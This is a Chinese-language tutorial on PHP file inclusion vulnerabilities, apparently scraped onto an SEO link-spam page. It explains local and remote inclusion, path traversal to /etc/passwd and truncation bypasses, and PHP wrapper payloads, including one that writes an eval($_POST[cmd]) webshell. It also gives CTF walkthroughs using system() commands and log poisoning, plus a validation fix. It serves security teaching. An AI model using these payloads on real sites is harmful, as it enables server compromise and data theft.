当前位置: 首页 > wzjs >正文

做美食教程的网站常州百度seo排名

做美食教程的网站,常州百度seo排名,免费域名注册和免费建站,彩票网站模版本文主要内容 脚本 ASP、PHP、JSP、ASPX、Python、Javaweb --# 各种包含函数 检测 白盒 代码审计 黑盒 漏扫工具、公开漏洞、手工看参数值及功能点 类型 本地包含 有限制、无限制 远程包含 无限制、有限制…

本文主要内容

脚本

        ASP、PHP、JSP、ASPX、Python、Javaweb    --# 各种包含函数

检测

        白盒        

                代码审计

        黑盒
                漏扫工具、公开漏洞、手工看参数值及功能点

类型
        本地包含
                有限制、无限制

        远程包含
                无限制、有限制

利用

        http、ftp、file、各种脚本支持协议

修复

        固定后缀、固定文件、WAF产品

--> 将文件以脚本执行

文件包含漏洞

        基本含义

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为,通常分为两种类型:

  • 本地文件包含(LFI):攻击者能够包含和执行服务器本地文件系统中的文件。攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

  • 远程文件包含(RFI):包含互联网可以访问到的文件,危害更大。

文件包含漏洞的根本原因在于用户输入未严格验证、不当的文件处理逻辑以及缺乏安全配置。

       

        模拟场景

场景描述

假设有一个PHP网站,它有一个功能是显示用户的个人资料。网站通过URL参数来接收用户ID,并根据这个ID来显示相应的用户资料。这个功能可能使用了类似下面的代码:

<?php
// 假设用户ID通过URL参数传递
$user_id = $_GET['user_id'];// 根据用户ID包含相应的用户资料文件
include("users/$user_id.php");
?>

在这个例子中,include() 函数被用来包含一个名为 users/$user_id.php 的文件。这里的 $user_id 是从URL参数中直接获取的,没有进行任何验证或过滤。

漏洞利用

攻击者发现这个功能后,可以尝试修改 user_id 参数来包含服务器上的其他文件。例如,攻击者可以通过修改URL为:

  1. http://example.com/profile.php?user_id=../../../../../../../../etc/passwd

    来尝试访问服务器的 /etc/passwd 文件。如果服务器配置不当,允许执行任意文件,攻击者甚至可以包含一个远程服务器上的恶意PHP脚本,从而执行远程代码。

    防御措施

    为了防御这种类型的文件包含漏洞,可以采取以下措施:

    1. 验证和过滤用户输入:确保所有用户输入都经过严格的验证和过滤。在这个例子中,可以检查 $user_id 是否只包含数字和可能的字母(如果用户ID允许字母的话)。

    <?php
    $user_id = $_GET['user_id'];// 验证用户ID是否只包含数字和字母
    if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.');
    }include("users/$user_id.php");
    ?>

        模拟场景2

        在本地搭建环境:配置一个include.php 文件,同时有一个1.txt文件写入php脚本

        再通过浏览器访问 127.0.0.1:8080/include.php?filename=1.txt

<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>

        对比发现,//127.0.0.1:8080/1.txt  会直接显示文本数据

        而通过include($filename);会将指定文件里面的这个内容呢以这个脚本代码去执行,不同浏览器有自己的脚本样例

        两种类型

        本地包含

                无限制

                浏览器访问访问/127.0.0.1:8080/include.php?filename=../../../www.txt 

                www.txt文件被当作php脚本执行

<?php  echo 'xiaodi';  ?>
                有限制             

                访问会变成 include.php?filename=index.txt.html  

<?php$filename=$_GET['filename'];
include($filename.".html");?>

                %00截断:条件:magic_quotes_gpc= Off php版本<5.3.4
                filename=../../../www.txt%00   --# 不太实用
                长度截断:条件:windows,点号需要长于256;1inux长于4096  --# 加上n个././ 

        远程包含

                将远程文件作为脚本读取     [直接读取会当作文本文件]

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt

<?php$filename=$_GET['filename'];
include($filename);?>

                如果有限制的话如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

        协议利用

                表格
协议PHP 支持情况Java 支持情况
http支持支持
https支持支持
gopher需要 curlwrappersJDK 1.7 之前不支持,之后支持
tftp需要 curlwrappers不支持
dict需要 curlwrappers不支持
file支持支持
ftp支持支持
imap需要 curlwrappers不支持
pop3需要 curlwrappers不支持
rtsp需要 curlwrappers支持
smb需要 curlwrappers支持
smtp需要 curlwrappers不支持
telnet需要 curlwrappers不支持

        PS:(curlwrappers 是 PHP 中的一个特性,它允许 PHP 使用 curl 库来处理 URL 流。这意味着可以通过 PHP 的一些常用函数,如 fopen()file_get_contents(),来访问和操作网络资源,而不需要直接使用 curl 库中的函数。curlwrappers 可以简化 URL 操作,使得开发者可以使用 PHP 中的常见函数来处理网络请求,而不必学习 curl 库中的复杂函数。然而,curlwrappers 的功能相对较弱,不能执行 curl 扩展所能进行的更复杂的操作。在编译 PHP 时,可以通过 --with-curlwrappers 选项来启用这个特性。)

        php伪协议:

                参考网站

php伪协议 - 看不尽的尘埃 - 博客园https://www.cnblogs.com/endust/p/11804767.html        

使用案例

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt    --#读取文件内容


http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?>  --# 使用POST提交
        <?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>


http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt


http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>

三个案例

        例题1

asdfhttp://4.chinalover.sinaapp.com/web7/index.php

        解题过程

        点开之后变成  /web7/index.php?file=show.php   --# 观察url组成   

        说明可能存在文件包含(访问地址包含其他文件),试探性访问/web7/show.php,发现显示数据一样都是 “test123”,下面的操作就是,要么执行文件,要么执行命令,

        如何确定是Linux还是其他OS呢?输入show.phP,报错则是Linux (不过我这里可能自动转小写,导致没有报错,因为Linux严格区分大小写) ,确定系统,发现路被堵住了,此时切换方法

        /web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,读取文件内容,加上base64编码是为了防止出现乱码

        例题2

选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋https://www.ichunqiu.com/battalion?t=1&r=0

        确认操作系统时候直接使用协议,看是否有拦截,hunqiu.com/?path=php://input

        输入命令<?php system('cat<dle345aae.php');?>  执行Linux命令,再查看源码,得到flag

        例题3

                /127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])

                访问不存在的文件,不存在就存到日志里面去了

                /127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log        

                后续就进行漏洞输入x=phpinfo();

ekucms2.5文件漏洞复习_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909        

知识点补充

PHP 中的 include() 函数用于将指定文件的内容包含到当前文件中,并且执行被包含文件中的代码。被包含的文件通常包含函数定义、类定义、配置设置或任何其他PHP代码。include() 函数在PHP脚本执行期间被调用,它会在脚本执行到该行时,将指定文件的代码读取并执行。

示例

假设有两个文件:header.phpfooter.php,以及一个主文件 index.php

header.php:

<!DOCTYPE html>
<html>
<head><title>My Page</title>
</head>
<body>

footer.php:

</body>
</html>

index.php:

<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>

在这个例子中,index.php 使用 include() 函数包含了 header.phpfooter.php 文件。当访问 index.php 时,它实际上显示了这三个文件的内容,即一个完整的HTML页面。

http://www.dtcms.com/wzjs/111732.html

相关文章:

  • 网站正在建设中自拍广州网站优化排名
  • 模仿建设网站是侵权吗北京关键词快速排名
  • wordpress文件目录崇左seo
  • 简单php企业网站源码滕州今日头条新闻
  • 动态网站可以用dw做吗cpc广告接单平台
  • 做网站 看什么书简述网站推广的方式
  • wordpress后台图优化营商环境条例
  • linux 什么做网站好交换友情链接的渠道
  • 网站开发内部工单新网站百度多久收录
  • 做网站的公司都有哪些业务线上广告接单平台
  • 成都新都建设银行网站济南新闻头条最新事件
  • 医疗室内设计网站推荐百度官网下载安装免费
  • 专门做it招聘的网站百度客服24小时人工服务
  • 用bootstrap做网站管理系统怎么做推广网络
  • wordpress列表页url规则武汉seo推广优化公司
  • 龙岩网站制作多少钱推广普通话手抄报内容50字
  • 公司网站招聘费如何做会计分录哪里有培训网
  • 网站服务器建设商抖音seo公司
  • 变态sf网站网站网络营销实施方案
  • 收费网站怎么建立近期热点新闻事件50个
  • 有个找人做任务赚返佣的网站全网营销与seo
  • 做招聘的网站网站广告调词平台
  • 做网站运作国珍网络营销的作用
  • 深圳 网站设计公司西安百度推广公司
  • 客户管理软件免费版天津seo网站管理
  • javaweb做的网站有哪些百度上如何做优化网站
  • 汽车销售在哪些网站做推广长安网站优化公司
  • 十大永久免费财务软件合肥seo
  • 用wordpress做的网站有哪些交换链接营销案例
  • 微网站建设目的整合营销传播策划方案